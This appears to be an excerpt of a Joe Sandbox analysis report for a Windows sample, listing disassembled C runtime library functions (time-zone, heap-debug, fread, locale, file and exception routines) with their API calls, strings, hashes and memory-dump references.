Instruction ID: 40aac9b24017b6c623eddeee3ec38881a9fe41585dd2177dba15e5818f940566
Opcode Fuzzy Hash: 8ab7814054867027867280ab0e370d90708073262d5dcbfc605fa6ece64b6212
Instruction Fuzzy Hash: FA326C37A19B8685EB609B15E48436A77E0FB88790F100176DACDC7BA5DF3ED844CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8DFE00 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 145timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 00007FF6EA8DFEEE

Strings

?, xrefs: 00007FF6EA8E0036
tzset_from_system_nolock, xrefs: 00007FF6EA8DFE48, 00007FF6EA8DFE7F, 00007FF6EA8DFEB6
minkernel\crts\ucrt\src\appcrt\time\tzset.cpp, xrefs: 00007FF6EA8DFE41, 00007FF6EA8DFE78, 00007FF6EA8DFEAF
_get_daylight(&daylight), xrefs: 00007FF6EA8DFE86
_get_dstbias (&dstbias ), xrefs: 00007FF6EA8DFEBD
l, xrefs: 00007FF6EA8DFEA7
_get_timezone(&timezone), xrefs: 00007FF6EA8DFE4F

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: InformationTimeZone
String ID: ?$_get_daylight(&daylight)$_get_dstbias (&dstbias )$_get_timezone(&timezone)$l$minkernel\crts\ucrt\src\appcrt\time\tzset.cpp$tzset_from_system_nolock
API String ID: 565725191-990234571
Opcode ID: 75615cf2359ca2491ec1a3ba5c817a153396b264603d2ea7a8032f1266523783
Instruction ID: d13b2fb3e89dda9bd72d277706b1bdb7c3783ba7e11743cc648c68338ee39fc5
Opcode Fuzzy Hash: 75615cf2359ca2491ec1a3ba5c817a153396b264603d2ea7a8032f1266523783
Instruction Fuzzy Hash: 20813C72A18B4286EB14CF18E45036AB7A1FB85344F500176E68EC77E9DF7EE845CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA83DA80 Relevance: 11.5, Strings: 9, Instructions: 244COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 00007FF6EA83DC7C
%hs located at 0x%p is %Iu bytes long., xrefs: 00007FF6EA83DE12
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 00007FF6EA83DD10
DAMAGED, xrefs: 00007FF6EA83DACC
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 00007FF6EA83DB91
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 00007FF6EA83DD44
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 00007FF6EA83DC32
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 00007FF6EA83DB47
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 00007FF6EA83DDC6

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.$%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1381456093
Opcode ID: cf56fb1c08b4571997837dc8e8c2e1d94fb73fa2e370f83efc53400eaa6a4387
Instruction ID: dbc61d3724f27d352bcf140eb5feb3238cc30efbe14fd4f8fd2383f460d25374
Opcode Fuzzy Hash: cf56fb1c08b4571997837dc8e8c2e1d94fb73fa2e370f83efc53400eaa6a4387
Instruction Fuzzy Hash: C0B11937A18B8186DB20CB29E4A172B77A0FB84744F200576EACDC3B65DF3ED4558B09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA7008ED Relevance: 10.5, Strings: 8, Instructions: 503COMMONLIBRARYCODE

Download Yara Rule

Strings

minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp, xrefs: 00007FF6EA844D87, 00007FF6EA844DC1, 00007FF6EA844E8A, 00007FF6EA844EC4, 00007FF6EA844F42, 00007FF6EA844F7C, 00007FF6EA845087, 00007FF6EA84519D, 00007FF6EA8451DA, 00007FF6EA8453D3, 00007FF6EA845410, 00007FF6EA8455E8, 00007FF6EA845625
_fread_nolock_s, xrefs: 00007FF6EA844DC8, 00007FF6EA844ECB, 00007FF6EA844F83, 00007FF6EA8451E1, 00007FF6EA845417, 00007FF6EA84562C
buffer != nullptr, xrefs: 00007FF6EA844D66, 00007FF6EA844DCF
element_count <= (SIZE_MAX / element_size), xrefs: 00007FF6EA844F21, 00007FF6EA844F8A
("buffer too small", 0), xrefs: 00007FF6EA84517C, 00007FF6EA8451E8, 00007FF6EA8453B2, 00007FF6EA84541E, 00007FF6EA8455C7, 00007FF6EA845633
stream.valid(), xrefs: 00007FF6EA844E69, 00007FF6EA844ED2
("Inconsistent Stream Count. Flush between consecutive read and write", stream->_cnt >= 0), xrefs: 00007FF6EA845066
%ls, xrefs: 00007FF6EA844D72, 00007FF6EA844E75, 00007FF6EA844F2D, 00007FF6EA845072, 00007FF6EA845188, 00007FF6EA8453BE, 00007FF6EA8455D3

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$("Inconsistent Stream Count. Flush between consecutive read and write", stream->_cnt >= 0)$("buffer too small", 0)$_fread_nolock_s$buffer != nullptr$element_count <= (SIZE_MAX / element_size)$minkernel\crts\ucrt\src\appcrt\stdio\fread.cpp$stream.valid()
API String ID: 0-3722996134
Opcode ID: 6a35252eb95abe06983c0ff357bd7e2b889e70344209d7115a88d5de89ea024e
Instruction ID: b601f223477ed9673e4c996177ebc3fd52d4e021d7f12fb50d7a59f1752a5098
Opcode Fuzzy Hash: 6a35252eb95abe06983c0ff357bd7e2b889e70344209d7115a88d5de89ea024e
Instruction Fuzzy Hash: 83428F33A1CB8286EB60CB14E4803AEB7A5FB84750F504176E69DC3A99DF7ED445CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA7074A9 Relevance: 9.2, APIs: 6, Instructions: 202COMMON

Download Yara Rule

APIs

GetLcidFromDefault.LIBCMTD ref: 00007FF6EA8ED070

Part of subcall function 00007FF6EA8EC080: GetUserDefaultLCID.KERNEL32(?,?,?,?,?,?,00007FF6EA8ED075), ref: 00007FF6EA8EC09C

ProcessCodePage.LIBCMTD ref: 00007FF6EA8ED0B3
IsValidCodePage.KERNEL32 ref: 00007FF6EA8ED0CA
IsValidLocale.KERNEL32 ref: 00007FF6EA8ED0E8
GetLocaleInfoW.KERNEL32 ref: 00007FF6EA8ED184

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: CodeDefaultLocalePageValid$FromInfoLcidProcessUser
String ID:
API String ID: 1527197893-0
Opcode ID: b6261af48cd0efd2131025cf3dc50c7bd490d5c1af29e7a8373fa695a5341002
Instruction ID: c4ef34d45f3039d552f3788933897bee37acb99632e4e4dce3a80b4d3d1bfbe4
Opcode Fuzzy Hash: b6261af48cd0efd2131025cf3dc50c7bd490d5c1af29e7a8373fa695a5341002
Instruction Fuzzy Hash: DFA14033A18A45C1EB608B15E89036B67A0FBC4B84F448076EE8DC77A5DF3EE945CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA83DFB0 Relevance: 9.0, Strings: 7, Instructions: 241COMMON

Download Yara Rule

Strings

%hs(%d) : , xrefs: 00007FF6EA83E144
normal block at 0x%p, %Iu bytes long., xrefs: 00007FF6EA83E29F
#File Error#(%d) : , xrefs: 00007FF6EA83E105
Dumping objects ->, xrefs: 00007FF6EA83DFD7
crt block at 0x%p, subtype %x, %Iu bytes long., xrefs: 00007FF6EA83E31E
client block at 0x%p, subtype %x, %Iu bytes long., xrefs: 00007FF6EA83E1E5
{%ld} , xrefs: 00007FF6EA83E173

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: #File Error#(%d) : $%hs(%d) : $Dumping objects ->$client block at 0x%p, subtype %x, %Iu bytes long.$crt block at 0x%p, subtype %x, %Iu bytes long.$normal block at 0x%p, %Iu bytes long.${%ld}
API String ID: 0-2254558347
Opcode ID: 1eb641b4b90ea35e8cb74a1e38539827bdf88d8f07a4039d0f67c8ebdb0d5073
Instruction ID: 33e3a507f3941b2f72ebb29f12e447416112905760868d5885258e1dde543dd1
Opcode Fuzzy Hash: 1eb641b4b90ea35e8cb74a1e38539827bdf88d8f07a4039d0f67c8ebdb0d5073
Instruction Fuzzy Hash: 9DB15D37A18B4686EB20DB25E49572B73A1FB85740F204572EB8DC3B95DF3ED8148B09

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA84AB00 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6EA84AB32
PeekNamedPipe.KERNEL32 ref: 00007FF6EA84ABE6
GetFileInformationByHandle.KERNEL32 ref: 00007FF6EA84ACBC
GetLastError.KERNEL32 ref: 00007FF6EA84ACC6

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: ae7e384e8b967ce4330897b596700717711164a97439578176bba04bfc288b36
Instruction ID: d7ce4039b337a0242899292296d728bc7a5c843bdb6e2c9c7209c778d21a0936
Opcode Fuzzy Hash: ae7e384e8b967ce4330897b596700717711164a97439578176bba04bfc288b36
Instruction Fuzzy Hash: CA610A3761CB9186EBA0CB25E08036BB7A4EBC5B44F105075EA8E87769DF3ED445CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA707E54 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

__crtCaptureCurrentContext.LIBCMTD ref: 00007FF6EA835371
IsDebuggerPresent.KERNEL32 ref: 00007FF6EA8353BD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6EA8353C9
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6EA8353D4

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextCurrentDebuggerPresent__crt
String ID:
API String ID: 3997116924-0
Opcode ID: aa87d8b416684f19269c4d774c2d283b658ba0cfeada0fff7e832b7eec62a3e1
Instruction ID: 4c6410eff383edd0958ff0c07e6153f698810e4c24b02c673163be59e1097a76
Opcode Fuzzy Hash: aa87d8b416684f19269c4d774c2d283b658ba0cfeada0fff7e832b7eec62a3e1
Instruction Fuzzy Hash: EE31D332619BC18AEB74CB24E8443ABB3A0FB88351F500676D68D83B99EF3DD5558F05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8E2CF0 Relevance: 3.2, APIs: 2, Instructions: 214fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6EA8E2E49
FindNextFileW.KERNEL32 ref: 00007FF6EA8E2FF9

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 9787cdb1cafd051d06bf9b9314601a66824be4d1669552ddcd4dbf434f231ba6
Instruction ID: 84430301e11991059e905ee2030694272f9c331a0e2a6894fe671be65ef89b83
Opcode Fuzzy Hash: 9787cdb1cafd051d06bf9b9314601a66824be4d1669552ddcd4dbf434f231ba6
Instruction Fuzzy Hash: C8B12E2361CA8181EA64DB15E4903BBB3A4FBD4790F504072EA8DC7BA9EF3ED554CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8EC230 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetPrimaryLen.LIBCMTD ref: 00007FF6EA8EC297
EnumSystemLocalesW.KERNEL32 ref: 00007FF6EA8EC2B8

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: EnumLocalesPrimarySystem
String ID:
API String ID: 3489071780-0
Opcode ID: 8dfd4d6b6886dedb5a6bb2f614ec072208583d1ec8bbd90737328ae8a7a6be83
Instruction ID: 563459b607f6f743b314325f96876282f14951ff14dd0fd4322fc1938c99d9c9
Opcode Fuzzy Hash: 8dfd4d6b6886dedb5a6bb2f614ec072208583d1ec8bbd90737328ae8a7a6be83
Instruction Fuzzy Hash: 6611E9B7A08605C6EB209F55E48032A7BA0F788B98F404165EA8D877A5CF3DE544CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8BEBD0 Relevance: 1.6, APIs: 1, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,00007FF6EA8BF0F7), ref: 00007FF6EA8BEBE3

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
